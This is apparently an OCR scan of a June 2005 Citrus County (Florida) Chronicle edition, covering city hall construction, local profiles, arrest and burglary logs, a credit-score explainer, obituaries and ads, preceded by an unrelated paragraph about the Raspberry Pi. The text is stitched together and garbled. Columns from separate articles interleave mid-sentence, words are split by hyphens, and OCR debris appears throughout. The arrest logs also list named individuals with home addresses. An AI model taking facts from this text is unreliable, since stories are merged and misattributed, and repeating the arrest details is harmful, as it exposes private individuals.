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I expect that the Raspberry Pi has a very similar impact on young people today. For them, it fills the void that was left when computers became less like programmable machines and more like consumer products. I suspect that, just like with me, this impact will linger for years to come as these young people grow up and enter a workforce that is increasingly dependent on their digital skills. And if even just a tiny bit of interest in computing is the spark, then I believe that a tinker-friendly computer like Raspberry Pi is the kindling. Here’s where that ten million number comes into play. Admittedly, not everyone who is exposed to a Raspberry Pi will be affected by it. But even if you guess conservatively that only a small fraction of all the Raspberry Pis out in the world serve to inspire a young person, it still adds up to an incredible impact on many lives; not just right now, but for many years to come. It’s quite possible that many of tomorrow’s computer scientists and technology specialists are experimenting with a few of the first ten million Raspberry Pis right now.
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Jeb Bush signed a bill Tuesday increasing state oversight of abortion clinics that pro- vide second-trimester abortions, saying he did so "gladly, with pride and con- viction." preg- nancy States do have more leeway to regu- late abortions later in a woman's preg- nancy Almost 9,000 of Florida's abor- tions are second-trimester abortions. The new law, which takes effect July 1, will cover any abortion clinic that provides second-trimester abortions. The bill doesn't spell out the exact reg- ulations, pro- viding stan- dard that now exists because abortion clinics are currently exempt from regu- lations that cover physician offices, hos- pitals and other surgical centers. "This is a simple bill that says women are deserving of the same quality care when they go to a doctor's office or a hospital or, sadly, to an abortion clinic," Bush said. He said the new law did not trespass onto. constitutionally protected abor- tion rights. Construction on the new Inverness City Government Center continues. Workers are preparing to begin roofing the $5.8 million project and the parking lot behind the project is expected to reopen in June. the interior will look like, including carpeting and fir- niture, which will start to be added by late summer. He said with the building's appearance and park-like set- ting that will surround it, an impression is sure to be made. "It's going to create a focal point for the city of Inverness. It's actually going to create a place of potential civic ener- gy," he said. "It's going to act like a city hall should." Native Citrus Countian to spin Wheel of Fortune Woman excited to be on show ASHLEY L :. asorrell@chronicleonline.com Chronicle intern Citrus County native Amanda Crispino, 21, played her chances and luck for big money as a contestant on the long-running game show, "Wheel of Fortune." Crispino, who now lives in Connecticut, grew up watching "Wheel of Fortune" and always wanted to be on the show, she said. She got her chance to audi- tion for the show in October when the "Wheelmobile" came to Connecticut. Crispino said 1,000 people showed up for the audition, and names were randomly drawn from a drum. Her name was not chosen, but Crispino did not give up hope. A few weeks later, Crispino said she received an e-mail requesting her to attend the final audition for potential WHEN TO VIEW Amanda Crispino's appearance on Wheel of Fortune can be viewed at 7 p.m. Thursday on CBS ahiliate WTSF channel 10 on all local cable systems. contestants. At the final audition, Crispino played simulated rounds of Wheel of Fortune and then had five minutes to fill out a paper with puzzles that had missing letters. A short time after the final audition, Crispino received a letter in the mail requesting her appearance as a contestant on "Wheel of Fortune" to be taped in Los Angeles. "It was very exciting," Crispino said about her experi- ence on the game show. Crispino said she enjoyed meeting Pat Sajak and Vanna White, as well as the other con- testants on the show. Crispino's appearance on Wheel of Fortune can be seen Thursday Roofshould be ready in July DAVE PIEKLIK dpieklik@ chronicleonline.comr Chronicle Work on the new Inverness City Government Center will reach a peak of sorts in about a month. The $5.8 million city hall is at the halfway point since construction of the two-story building began in January. During the next 30 days, workers are expected to have most of the building's roof .supports up, with the-roof expected to be in place by mid-July. After that, work will head inside for the building's inte- rior until the projected open- ing date of Nov. 4. City Development Services Director Ken Koch said the center's roof will be in place ahead of the rainy months of summer, and hopefully any hurricanes that might head this way "Once we get it dried in and a hurricane comes, we can batten down the hatches," he said. Before the roof is on, the parking lot behind the cur- rent city hall will reopen the first week of June with 85 parking spaces. The lot has been closed for a month to resurface and add spaces to accommodate the new 26,000- Becomingpilot longtime goal ASHLEY SORRELL asorrell@chronicleonline.com Chronicle intern Wesley Tubman, 18, Homo- sassa, will live his dream of becoming a pilot for the U.S. Air Force. Tubman, a graduate of Seven Rivers Christian School, has been accepted into the 2009 graduating class of the United States Air Force Academy in Colorado Springs. Tubman's acceptance means he will receive a full scholar- ship to the academy. At 4 years old, Tubman saw his first airplane and began to dream of becoming a pilot. "Every since I was a little boy, I always liked to fly and always wanted to be a pilot," Tubman said. Tubman's dream of flying first came true in fifth grade when he was performing in the play "South Pacific." Tubman met a pilot, Charlie Vaughn, who owned a Cessna and offered to take Tubman for INVERNESS CITY HALL Work began Jan. 5, with expected completion date of [Nov. 4 Next 30 days- Roof installation begins Last month: 19,000 con- crete blocks placed, grouted; 60 cubic yards ol concrete poured: "4 tons of steel erected. SOURCE: ZHA Inc, square-foot complex. "It will have curbing and asphalt in, and striping," Koch said. "It will not have landscaping, and lights won't be tp yet. That will come in later" Koch said lighting and landscaping will be done in September. Roof work on the new building will include installing air conditioning and ventilation systems. Brickwork, which had been slightly delayed, will wrap up, Koch said. Once work heads indoors, door framing will likely be the first thing to be completed. ZHA Inc. spokesman Marc Black, project manager for the Orlando-based company overseeing construction, said workers soon will begin put- ting up roof joists and sup- ports, including metal fram- ing for two towers that will rise above the building. Black said city employees have already decided what It's all going to be tough, but I'm prepared. Wesley Tubman Seven Rivers Christian School graduate. a ride in the airplane. "I was overwhelmed with joy, and after we landed, he (Vaughn) could see it," Tubman said in an essay. Tubman said the Air Force seems like the right place for him to continue his education. "It's all going to be tough, but I am pretty well prepared," he said. To prepare for the academy, Tubman is currently taking fly- ing lessons and is five hours from receiving his pilot's license. He also has been train- ing physically and mentally by being involved in athletics and challenging classes. During Tubman's first six weeks at the academy, he will not be able to talk to friends and family members except through mail, and he is allowed to go home only four times a year. Tubman is leaving June 30 for the academy "It's going to be really tough, but I will try not to focus too much on being away," he said. Tubman said he is amazed he is getting paid to be a pilot "I'd do it for free," he said. Tubman is not worried about the possibility of being called to active duty. "Serving your country is defi- nitely one of the best things you can do," he said. "I will be work- ing for the country and preserv- ing the lives of Americans." Tubman has understood the risks of joining the Air Force since the age of 10. He illustrat- ed his understanding of the risks in a paper he wrote in fifth grade. "I understand I am risking my life. I say we should fight for our freedom," he writes. "I touch my country's heart when we win the war. I worry if we will lose; I cry when I fail my coun- try" Count BRIEFS Man sentenced to 30 years A Citrus Springs man convict- ed last month of trying to kill a detective serving a search war- rant at his home was sentenced Friday to 30 years in prison. Larry Edward Robbins, 27, was sentenced on charges of attempted murder and aggravat- ed battery of a law enforcement officer for the May 30, 2003, shooting that seriously injured Citrus County sheriff's Sgt. David "Pasta" DeCarlo. DeCarlo and several mem- bers of the Special Investiga- tions Unit were attempting an undercover drug sting at the home when DeCarlo was shot twice. Robbins also was injured when DeCarlo returned fire. Prosecutors had asked Rob- bins, a seven-time felon, be sentenced under prison re- leasee reoffender guidelines because the crime came less that three years after he got out of prison. The condition allows for mandatory minimum and maximum sentences to be imposed. Robbins has two pending criminal cases that could increase the time he has to serve. Board to discuss budget, walk land The Citrus County School Board is holding budget work- shops for the 2005-06 school year at 8:30 a.m. today at the District Services Office at 1007 W. Main St., Inverness. At about 11:30 a.m., the board members will drive to Citrus Springs for a tour of the 120-acre property that is planned for a future ele- mentary school, high school and community park. The board members will meet again at 9 a.m. Thursday for a special meeting to consider approving staffing recommenda- tions and discuss the budget. Development council to meet Thursday The monthly executive com- mittee meeting of the Citrus County Economic Development Council will start at 8 a.m. Thursday in the boardroom of the Citrus County Chamber of Commerce, 28 N.W. U.S. 19, Crystal River. No new business appears on the agenda. The meeting will include time for public comment. Hurricane tax holiday begins today Those stocking up on storm supplies could save money today through midnight, June 12, during the Hurricane Preparedness Sales Tax Holiday. Eligible supplies include: Battery-powered flash- lights, self-powered light sources, candles and gas-pow- ered lanterns for $20 or less. AA, C and D batteries, as well as coolers and first aid kits, that sell for $30 or less. Radios, tie-down kits and tarpaulins for $50 or less. Portable generators that sell for $750 or less. From staff reports State BRIEFS Brevard woman kills intruder in home INDIALANTIC A 64-year- old woman fatally shot an intrud- er who broke into her home. Judith Kuntz was awakened by the sound of breaking glass late Sunday. She fired her revolver from about a distance of about 10 feet as the intruder entered her bedroom. The intruder was identified as Jason Lewis Preston, 33, of Eaton Rapids, Mich. From wire reports Correction Because of a reporter's error, a story on page 1C of Satur- day's edition, "VBS season ready to kick off," contained incorrect information. St. Anne's Episcopal Church in Crystal River will be the host church for "Serengeti Trek" VBS from 8:30 a.m. to noon Monday through Friday, June 20-24. The Chronicle regrets the error. Ii New city hall construction at halfway point Student to realize dream with U.S. Air Force Academy ~ - li~';Br~e~iPsB .-. .:.,-. .. :'- - .. . --, ., ...,..,- . I 4A WEDNESDAY, JUN CITRUS COUNTY (FL) CHRONICLE .I 1 ?n,:C For the .'"" Florida Highway Patrol a Michael J. Belanger, 61, 4286 W. Denali Ct., Homosassa, at 8:34 p.m. Monday on charges of driving under the influence. His bond was set at $500. Citrus County Sheriff Arrests w James C. Johns, 43, Inglis, at 1:14 a.m. Tuesday on charges of domestic battery. According to a police report, a woman said she and Johns were arguing when he allegedly grabbed her by the neck, pushed her against the wall and threw her on the floor. A deputy noted scratches on her cheek and red marks on the woman's neck. Johns is being held without bond. Amanda R. Conley, 22, no address given, at 5:45 a.m. Tuesday on charges of aggravated child abuse and possession of drug para- phernalia. Her bond was set at $10,500. a Kelly J. Kruiz, 36, 2985 N. Hooty Pt., Inverness, at 2:15 a.m. Tuesday on charges of driving under the influence. Her bond was set at $1,500. N Philip J. Houle, 25, 130 S. Suncoast Blvd, Crystal River, at 8:37 ,p.m. Monday on charges of posses- sion of drug paraphernalia. His bond was set at $500. Burglaries B A representative of Country Roads Inc., South Lecanto Highway, Lecanto, reported Wednesday a burglary, between 7 p.m. Tuesday and 6:30 a.m. Wednesday, at a convenience store at the 7200 block of South Lecanto Highway, Lecanto. 2 A burglary to a storage shed was reported at 9:26 a.m. "Wednesday, between 2 p.m. 'Tuesday and 8 a.m. Wednesday, at the 7800 block of East Gulf-to- Lake Highway, Inverness. N A burglary was reported at 5:22 p.m. Thursday, between 9 a.m. SMonday, May 16, and 5 p.m. Sunday, May 22, at the 7600 block :of West Homosassa Lane, 'Homosassa. M A burglary to a conveyance was reported at 8:06 a.m. Friday, between 5 p.m. Tuesday, May 24, and 5 p.m. Thursday, at a business parking lot at the 1600 block of _North Lecanto Highway, Lecanto. : A vehicle burglary was reported wat 10:02 a.m. Friday, between 8 and b9:15 p.m. Thursday, at a business parking lot at the 2600 block of East Gulf-to-Lake Highway, Inverness. M A vehicle burglary was reported at 11:09 a.m. Friday, between 6:30 p.m. Thursday and Friday, at South Monroe Street, Beverly Hills. A burglary was reported at 11:31 a.m. Friday, between 5:30 p.m. Thursday and 10 a.m. Friday, at the 7000 block of West Gulf-to- Lake Highway, Crystal River. A burglary was reported at 12:48 p.m. Friday, between noon Wednesday, May 18, and 12:30 p.m. Thursday, at a residence at the 6900 block of West Dunnellon Road, Dunnellon. M A burglary was reported at 2:48 p.m. Friday, between 12:30 and 2:48 p.m. Friday, at a residence at the 5200 block of North Tanglewood Avenue, Hernando. A burglary was reported at 5:37 p.m. Friday, between 9:30 a.m. and 5:15 p.m. Friday, at a residence at the 11000 block of North Ginny Lane Point, Inglis. A burglary to a storage unit was reported at 7:52 a.m. Saturday, between 3:51 and 5:02 a.m. Saturday, at the 1700 block of North Florida Avenue, Hernando. A representative of WM Roth Construction, North Biscayne Drive, Citrus Springs, reported at 8:30 a.m. Saturday a burglary to a construction site, between 6 p.m. Friday and 8 a.m. Saturday, at the 1600 block of East Hartford Street, Hernando. M A burglary to a storage unit was reported at 2:52 p.m. Saturday, between Sunday, May 1, and 1 p.m. Saturday, at the 100 block of North Florida Avenue, Inverness. An attempted burglary was reported at 5:49 p.m. Saturday, between 10 p.m. ,Friday and 1 a.m. Saturday, at a residence at the 5600 block of West Chive Loop, Homosassa. A burglary to a motor vehicle was reported at 10:42 a.m. Sunday, between 10 p.m. Saturday and 9 a.m. Sunday, at the 200 block of South Barbour Street, Beverly Hills. A representative of Wayne Cooper Construction, East Hampshire Street,'Invemess, report- ed at 12:06 p.m. Sunday a burglary at a residence at the 5500 block of South Leonard Terrace, Inverness. The burglary occurred at 5 p.m. Thursday. M A vehicle burglary was reported at 6:22 p.m. Sunday, between 4 p.m. Saturday and 6:20 p.m. Sunday, at the 800 block of South Apopka Avenue, Inverness. A representative of the Hernando Veterinary Clinic, North Carl G. Rose Highway, Hemando, reported at 10:27 p.m. Sunday a burglary at the clinic. The burglary occurred at 10:27 p.m. Sunday. A representative of Wilburn Construction, Old Floral City Road, Board Certified Civil Trial Lawyers The hiring of a lawyer is an important decision that should not be based solely upon advertisements. Before you decide, ask us to send you free information about our qualifications and experience Floral City, reported at 7:09 p.m. Monday a burglary to a construction site, between 4:30 p.m. Friday and 7 p.m. Monday, at the 5300 block of South Old Floral City Road, Floral City. Thefts A theft was reported at 3:14 p.m. Wednesday, between 3:30 and 4:17 p.m. Tuesday, at a business parking lot at the 1400 block of White Lake Drive, Inverness. A theft was reported at 2:51 p.m. Thursday, between 10 p.m. Wednesday and 1 a.m. Thursday, at a residence at the 2100 block of West Austin Drive, Dunnellon. An identity theft was reported at 3:49 p.m. Thursday, between Aug. 9, 2001, and Thursday, at a resi- dence at the 8800 block of West Harbor Lane, Homosassa. A theft was reported at 3:59 p.m. Thursday, between 11 a.m. and 12:45 p.m. Thursday, at the 600 block of Pleasant Grove Road, Inverness. A representative of Sugar Loaf Vending, One 31st Avenue, Clearwater, reported at 8:16 a.m. Friday a theft and vandalism, between 10 p.m. Thursday and 8 a.m. Friday, at a supermarket at the 300 block of East Highland Boulevard, Inverness. A theft was reported at 12:43 p.m. Friday, between 2:30 and 3 p.m. Monday, May 23, at a specialty store at the 4600 block of West Cardinal Street, Homosassa. A mail theft was reported at 2:07 p.m. Friday at the 5700 block of West Holiday Street, Homosassa. The theft occurred at 12:50 p.m. Friday. A theft was reported at 12:03 p.m. Saturday, between 8 a.m. Friday, May 20, and 8 p.m. Tuesday, May 24, at a residence at the 3800 block of South Springbreeze Way, Homosassa. A representative of AII-Tech Construction, West Minuteman Street, Homosassa, reported at 3:29 p.m. Saturday, a theft of a trailer and tools, between noon Friday and 10 a.m. Saturday, at a construction site at North Essex Avenue, Hemando. A theft was reported at 11:24 a.m. Sunday, between Saturday, May 7, and Sunday, at a residence at the 5400 block of North Elkcam Boulevard, Beverly Hills. E Atheft was reported at 2:02 p.m. Sunday, between 8 p.m. Tuesday, May 17, and 5 p.m. Thursday, at a residence at the 8400 block of West Earl Loop, Homosassa. A theft of an outboard motor was reported at 4:14 p.m. Sunday, between 9 p.m. Saturday and 3 p.m. Sunday, at a boat dock at the 4300 block of South Blue Water Point, Homosassa. An employee at Kwik Stop, North Carl G. Rose Highway, Hemando, reported at 6:06 p.m. Sunday a theft of lottery tickets, between 9 a.m. and 1 p.m. Wednesday, May 11, at the busi- ness. An auto theft was reported at 3:17 a.m. Monday, between 11:30 p.m. Sunday and 3 a.m. Monday, at the 4900 block of West Old Citrus Road, Lecanto. A representative of Floral City Antiques, South Florida Avenue, Floral City, reported at 10:32 a.m. Monday a theft, between 10 a.m. Saturday, May 7, and noon Monday, May 9, at the business. An auto theft and grand theft were reported at 1:22 p.m. Monday at the 10100 block of South Evans Point, Inverness. The thefts occurred at 1:22 p.m. Monday. A theft was reported at 7:08 p.m. Monday, between 9:15 and 11:30 a.m. Monday, at a department discount store at the 2400 block of East Gulf-to-Lake Highway, Inverness. ; Vandalism A case of vandalism was reported at 1:03 p.m. Wednesday at the 5900 block of North Mallard Drive, Hernando. The vandalism occurred Wednesday. A case of vandalism was reported Wednesday, between noon and 5 p.m. Wednesday, at a resi- dence at South Washington Street, Beverly Hills. A case of vandalism was reported at 8:34 p.m. Wednesday, between 7:30 and 7:35 p.m. Wednesday, at a residence at the 2400 block of South Hull Terrace, Homosassa. FURNITURE DEPOT --:. Top Notch New & Used Furniture : Ethan Allen Thomasville Drexel Broyhill (When Available) ---. I Couch & Love Seat : ,,.................5.............$795 Sofa Sleeper : :............................................. $S495 Love Seat Sleeper 6 ........................................ 395 '- Corner China Cabinet ,, ........... .......................$S795 ... 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School officials asked the girl where the bottle of alcohol was and she stated it was in her backpack Frink searched the backpack and discovered a pint bottle of vodka, which was almost empty, a cigarette pack con- taining numerous- marijuana seeds and a pocketknife with an approximately 4-inch blade, according to the report. In the police report, Frink said the girl admitted to having marijuana in her back bra strap and she removed the bag of marijuana from her bra strap in the presence of a female school board member. The girl' was transported to the Citrus County Detention Facility for booking. She was turned over to the custody of her parents. News. _._ : Cattlemen to host bluegrass concert The Citrus County Cattlemen's Association is sponsoring blue- grass music by the Larry Jackson Band on Saturday, June 4, at Cattlemen's Corner (corner of 480 Stage Coach and Pleasant Grove Road). The event begins at 6 p.m. Fish fry dinners $10. All proceeds will go to the Cattlemen's Educational Building Fund. New Jersey and Friends Club to meet The New Jersey and Friends Club of Citrus County will host its regular monthly meeting at 1 p.m. Monday, June 6, at the VFW Post 4252, State Road 200, Hemando. Before the regular business meeting, the club will host Stead- man Lott, who has been building Bluebird houses for some time, hoping to see the Bluebirds return to our county. If any member would like to have a birdhouse for their back yard, call Eve Taylor to put in your order. Her number is 527- 3816. The club is open to all. You don't have to be from New Jersey to join this active and friendly club. Call Esther at 341-8429 or Joe at 746- 7782. JH ONICL. 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Though the free reports won't show a person's credit score - which can be obtained for a fee they will show a person's credit history, including credit card accounts, if bills are being paid on time, if someone has filed for bankruptcy, and other information. That information HEART Continued from Page 1A enough to accommodate a hos- pital bed and a tropical rain- forest "Mom's room is a closet," she says with a characteristic wise- drack Her illness may have attacked her nerves and mus- cles, but not her sense of fun. She talks about hammering a nail into the back of her closet during their home's construc- tion. "It was just one nail, and it took a long time," she says, but it was that one nail that made her feel a part of the process of building herself and her mom a much-wanted home of their own. "I painted all the base- boards, too," she adds. At one time, life with Melissa was "perfectly normal," Moore says. It had its ups and downs; is shared between credit agen- cies and those companies who determine if someone's accept- ed for a credit application. McElroy said the informa- tion could help someone plan his or her finances better. "By looking at your credit report and staying on top of it, you will have access to what the credit agencies report to your lenders," he said. So what is a credit score and how will it affect what's on the report? The three-digit "risk assess- ment score" developed in 1989 by the Fair Isaac Corporation is the most widely recognized, and is used by the three major credit reporting agencies Equifax, Experian and Trans Union. Judy Collins, spokeswoman for Consumer Credit Couns- eling Services of Mid-Florida, she and Melissa's father di- vorced when she was pregnant, leaving Moore to raise her daughter and an older son alone. As a young girl, Melissa want- ed to be the "next Cindi Lauper." She wanted to sing and dance and she wanted to work with animals and go to Australia. She danced at Ronnie's Academy of Dance and sang every chance she got. She would listen to tapes of Tom Petty and the Heart- breakers and tell herself, "He came from around here if he could do it, so can I." Through the Make-A-Wish Foundation, she got to travel to California to meet Petty when she was 16. She was normal; then in fourth grade she started devel- oping learning problems; her grades dropped and her atten- tion span changed. That began a series of psychological tests, said the number, which ranges from 300-850, predicts a per- son's credit worthiness through a variety of factors. "It's a prediction for vendors on the likelihood you are or aren't going to pay the bill back on time," she said. " Collins said the average per- son's score is in the mid-600s to 700s, or a good rating; a score in the 800s is considered excel- lent. She said five factors determine a person's score, and consequently, their credit report. How you pay your bills has the biggest effect, with a 35 percent role in a credit report. since the disease first mani- fested as behavior problems. Then her feet started turning in and her teachers at school thought she had scoliosis. "We went to All Children's - they couldn't find a cause for her symptoms," Moore says. "We went to Shands where the doctor said, 'I don't know what it is, but we'll find out.' Gradually, (the symptoms) got worse. She was 15 when we went to Johns Hopkins where she was diagnosed." Moore had purchased a condo, but when Melissa's physical symptoms started, they could no longer manage the three flights of stairs, and moved into a rented home. As her disease progressed, Medicaid covered the cost of home heath assistance while Moore worked as an emergency room registered nurse at Seven Rivers Regional Medical Center. Then, when Melissa "Stay caught up and pay them on time," Collins said. "Even paying off accounts that are past due, working with creditors to make arrangements for getting the bills paid." She said 30 percent of the score is based on amounts owed to creditors. She stresses to avoid using credit cards for major purchases. 'There's a tendency to over- spend," Collins said. "We live in a buy now, pay later type of society." Length of credit history has a 15 percent effect, she said, but she urges those who are trying turned 21, Medicaid-assisted home health stopped and Moore was faced with putting her daughter in a nursing home. Around the same time, she developed painful back prob- lems and could no longer work She decided to stay home and care for Melissa, using Melissa's monthly Social Security benefits and draws from her own 401(K) account to cover expenses. In 2003, Moore filled out an application with Habitat for Humanity, and in 2004, ,after helping volunteers build their house, she and Melissa moved in. Daily they give God thanks for his presence in their lives, Moore says. As Melissa's disease pro- gresses, she has moments when she cries, but her mother says they're rare. Melissa still sings in the women's chorus at The Federal Trade Commission said identity theft cost U.S. consumers and businesses $52.6 billion last year to establish credit history to not overdo it. "You don't want to start going out there and getting a lot of credit, because you'll get turned down for too many cred- it inquiries," she said. Finally, types of credit and new credit have a 10 percent impact; Collins suggests mixing up credit types between cards and loans. She also suggests not opening up one credit card to pay off another. As a former Equifax employ- ee for 28 years, Collins said the main thing creditors are look- ing for is if they're going to get paid back She advises people who may have a poor credit report to start working towards improving their score. She said what you do now has more of an impact on a credit score than what hap- .Gulf to Lake Church in Crystal River and at home she sings along with her favorite radio station, "Joy FM." She said she can sing with joy because of her faith in God. "I think God has me in this wheelchair to be an example for other people in wheelchairs who are down and out, because Tarpon Springs Red Hat Hoot Days June 3 & 4,2005 S"Paint The Town Red" June 3rd J- r ,une -4th * Tarpon Springs Cultural Center Da,,n .. Gi H- ,, T, i 101 S. Pinellas Ave. .,- 'o pm I fin I, Movie on the History of the POOR .,tltk 2, i I- Tarpon Sponge Industry 5p-.. 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Crystl River CITRUS CouNTn (FL) CHRONICLE CITRUS COUNTY (FL) CHRONICLE SA W DnhnESv DArhtiNH 1. 2005 Mary Dobry, 86 CRYSTAL RIVER Mary T. Dobry, Crystal River died Tuesday, May 31, 2005, at the age of 86. A native of Baltimore, Md., she was born Feb. 21, 1919. She married FrankJ. Dobry on Aug. 16, 1941. She was a homemaker and worked for Martin Marietta in Baltimore during World War II. She and Frank moved to Crystal River in 1997. She was a resident of Woodland Terrace of Citrus County in Hernando. She was preceded in death by her husband and sisters, Genevieve and Wanda. Survivors include two daughters, Linda Campbell and husband, Charles, of Marietta, Ga., and Christine Eck and husband, Harry, of Crystal River; two sisters, Ann Hudson of Winter Springs and Dorothy Lipinski of Baltimore, Md.; six grandchildren, Tim Eck, Karen Stukes, Bob Campbell, Craig Campbell, Chad Campbell and Cathryn Campbell; and six great-grand- children, Riley, Anna and Sam Eck, Trent and Jason Stukes and Jillian Campbell. In lieu of flowers, donations may be made to the American Heart Association, 555 W. Granada Blvd., Ste. A-l, Ormond Beach, FL 32174. Baldauff Family Funeral Home & Crematory, Orange City. Robert Elswick Jr., 47 CRYSTAL RIVER Robert Lee "Buster" Elswick Ji., 47, Crystal River, died Monday, May 30,2005, at Seven Rivers Regional Medical Center in Crystal River He was born Dec. 15,1957, in Charleston, W.Va., to Robert Lee and Janet Lee (Campbell) .d Elswick Jr. and moved to this area 35 years ago from Hur- ricane,W Va. Mr. Elswick was employed at Publix of Robert Homosassa. Elswick He was a client of the Key Training Center and he belonged to the Kiwanis Club. He was a member of the First Assembly of God Church in Crystal River He was preceded in death by his stepmother, Vivian Elswick, Feb. 27, 2005. . Survivors include his father, Robert Lee Elswick Sr. of 'Crystal River; mother and step- father, Janet and John Caruthers of Crystal River; one brother, Rockie Elswick of Rockwood, Tenn.; five sisters, Brenda Day of Yorktown, Va., Donna O'Neill of Union, WVa., Deborah Nelson of Crystal River, Robin Moran of Hernando and Teana Williams of Crystal River; three stepsis- ters, Bridgett Burton of The Woodlands, Texas, Sherri Robinson of Charleston, W.Va., and Suzanne McCormick of Hampton, Ohio. Strickland Funeral Home, Crystal River Charles Griffith Jr., 88 CRYSTAL RIVER Charles Alfred Griffith Jr., 88, Crystal River, died Sunday, May 29, 2005, at his home under the care of his family and Hospice of Citrus County. Born Aug. 22, 1916, to Charles A. and Carrie (Medaris) Griffith Sr., he moved here 35 years ago from his native Knoxville, Tenn. Mr. Griffith was the retired owner/operator of the Port Paradise Motel in Crystal River from 1970-1980. He was a 32nd degree Mason in Knoxville, Tenn., and he attended the University of Tennessee. He was preceded in death by his first wife, Kathryn Griffith, in 1975. Survivors include his wife, Frances Griffith of Crystal River; two daughters, Gail Sterchi and husband, George, of Lenoir City, Tenn., and Jan Hanna and husband, Bush, of Henderson, Nev.; two stepsons, Sandy Wright of Knoxville, Tenn., and Bob Wright of Atlanta, Ga.; two stepdaugh- ters, Margaret Adkins of Ocala and Priscilla Wright of Nashville, Tenn.; five grand- children; and seven great- grandchildren. Mr. Griffith will be returned to Knoxville, Tenn., for servic- es and burial. In lieu of flow- ers, the family suggests memo- rial contributions to Hospice of Citrus County, PO. Box 641270, Beverly Hills, FL 34464. Strickland Funeral Home, Crystal River. Leavene Head, 63 DUNNELLON Leavene F Head, 63, Dunnellon, died Monday, May 30, 2005, at the Veterans Administration Hospital in Gainesville. He was born l in Williston and was a life- time resident of the area. Mr. Head was a retired counter man employed by Napa Auto Parts and he served with the U.S. Marines. Survivors include his wife, Joyce Head of Dunnellon; son, Richard Ashton Head of Broken Arrow, Okla.; daughter, Jennifer Lynn of Broken Arrow, Okla.; brother, Carl S. Head of Dunnellon; and sister, Helen Addisin Head of Dunnellon. Roberts Funeral Home, Dunnellon. Frances Houston, 82 INVERNESS Frances B. Houston, 82, Inverness, died Sunday, May 29, 2005, in Inverness. She was born June 4, 1922, to Robert and Martha Beede and moved here in 1985 from her native Hardwick, Vt Mrs. Houston was a home- maker and enjoyed square dancing, making crafts such as dolls, bird watching in Woodbury, Vt., exercising at Dynabody in the pool, walking, hiking, and playing cards and games with family and friends. She was a member of the United Church of Hardwick, Vt., and attended the First Presbyterian Church of Inverness. She was preceded in death by her parents, two sons, Ronald and Douglas Houston, and three sisters. Survivors include her hus- band of 65 years, Paul J. Houston of Inverness; two sons, William Houston of Vergennes, Vt., and Tom Houston of Plainfield, Vt; two daughters, Janet Slayton of Woodbury, Conn. (Floral City seasonal resident) and Sybil Messier of Hardwick, Vt; two brothers; five sisters; eight grandchildren; 10 great-grand- children; and one great-great- granddaughter. Hooper Funeral Home, Inverness. Winston Lisenby, 84 LECANTO Winston Dewey Lisenby, 84, Lecanto, died Friday, May 27, 2005, under the care of Citrus Memorial Hospital's Hospice Unit. Born Oct 14, 1920, in Ozark, Ala., to Brainerd and Flossie Lisenby, he moved to St. Petersburg in 1949 and to Citrus County in 1972. Mr. Lisenby smoked fish for Ted Peters in Pasadena for 27 years and for Hampton's Fish House in Homosassa. He was an avid fisherman and gardener and he was Baptist Survivors include one son, Johnnie Lisenby and wife, Beverly, of Lecanto; two daugh- ters, Linda Aaron and hus- band, John, of New Port Richey and Cynthia Mills and hus- band, Richard, of Brandon; one brother, Tom Lisenby and wife, Delores, of Redding, Calif.; eight grandchildren; eight great-grandchildren; and several nephews and nieces. Friends, who wish, may make memorials to Hospice, of Citrus County, PO. Box 641270, Beverly Hills, FL 34464. Hooper Funeral Home, Homosassa. Donald Prestidge, 73 CRYSTAL RIVER Donald Joshua Prestidge, Ph.D., 73, Crystal River, died Monday, May 30, 2005, at Citrus Memorial Hospital in Inverness. Dr. Prestidge was born Jan. 12, 1932, in Pittsburgh, Pa., to Walter Arthur and Frieda Utescher and moved to this area in 1977 from Oklahoma City, Okla., where he was a pro- fessor at the University of 1 Oklahoma. He was a professor Ig . of Chemistry and Physics at Central Flor- ida Community College in I Lecanto. He Donald was a pharma- Prestidge cist, a research scientist and was awarded a patent for desalinization. He was a U.S. Navy Korean War veteran. He was Jewish. In addition to his parents he was preceded in death by his son, Neil Utescher. Survivors include his wife, Darlene Kaye Prestidge of Crystal River; four sons, Nathaniel Prestidge and wife, Cameron, of Crystal River, Adam Prestidge and wife, Caroline, of Crystal River, Matthew Prestidge and wife, Jackie, of Homosassa and Joshua Prestidge and wife, Amy, of Homosassa; three grandchildren; and his father- in-law and mother-in-law, Albert and Elma Mallett of Homosassa. Strickland Funeral Home, Crystal River. Maude Price, 91 YANKEETOWN Maude Rae Price, 91, Yankeetown, died Saturday, May 28,2005, in Chiefland. She was born Dec. 10, 1913, to Jesse and Fannie Ezell and she moved here from her native Clearwater in 1920. She was a former lunchroom manager for Yankeetown Primary School and a member of First Pentecostal Church, Inglis. She was preceded in death by her husband, Maurice Price, Sept 10, 1966. Survivors include two sons, Daniel Lester Price of Lakeland and M.C. "Whitey" Price of Yankeetown; two daughters, Laura Belle Gibson of Mineral Bluff, Ga., and Elsie Rae Livingston of Palatka; two brothers, Cullie Ezell of Lake City, Fla., and J.C. Ezell of Lake City, Colo.; four sisters, Florene Butler of Ocala, Hazel Hudson of Tarpon Springs, Margaret Baggett and Clara Blair both of Inglis; six grandchildren; 11 great-grandchildren; and two great-great-grandchildren. Hooper Funeral Home & Crematory, Beverly Hills. Bobby Willis, 81 INVERNESS Bobby Donald Willis, 81, Inverness, died Sunday, May 29, 2005, at his home. A native of Newburg, Mo., he was born Nov. 30, 1923, to Clarence L. and Emma (Evans) Willis. Mr. Willis served in the United States Navy during World War II as a Radioman First Class, having served in both the- aters of the war. He retired as vice president of Southeast Bank of Miami with 25 years of service and moved here in 1988 from Miami. He was a member of the Inverness Golf and Country Club and a past member of VFW Post 4337 of Inverness. Survivors include his wife of 60 years, Blanche "Joan" Willis of Inverness; son, Charles Lee Willis and wife, Denise, of Inverness; two sisters, Barbara Guffy of Newburg, Mo., and Rosemary Sisco of Jerome, Mo.; one granddaughter, Kelly Renee Willis; and many nieces and nephews. Chas. E. Davis Funeral Home with Crematory, Inverness. Click on- cleonline.comrn to view archived local obituaries. (I ai. E. avi 'Funeral d'iome 'Wid, cre,,,acory Claudine Gutman Funeral NOTICES Robert Lee "Buster" Elswick Jr. The funeral service for Robert Lee "Buster" Elswick Jr. will be conducted at 11 a.m. Thursday, June 2, 2005, at the First Assembly of God Church in Crystal River with the Rev. Richard Hart officiating. Entombment will follow at Fountains Memorial Park Cemetery, Homosassa Springs. Visitation will be from 6 to 8 p.m. Wednesday at the funeral home. Frances B. Houston. The service of remembrance for Mrs. Frances B. Houston, 82, Inverness, will be conducted at 11 a.m. Thursday, June 2, 2005, at the Inverness Chapel of Hooper- Funeral Homes with the Rev. Craig 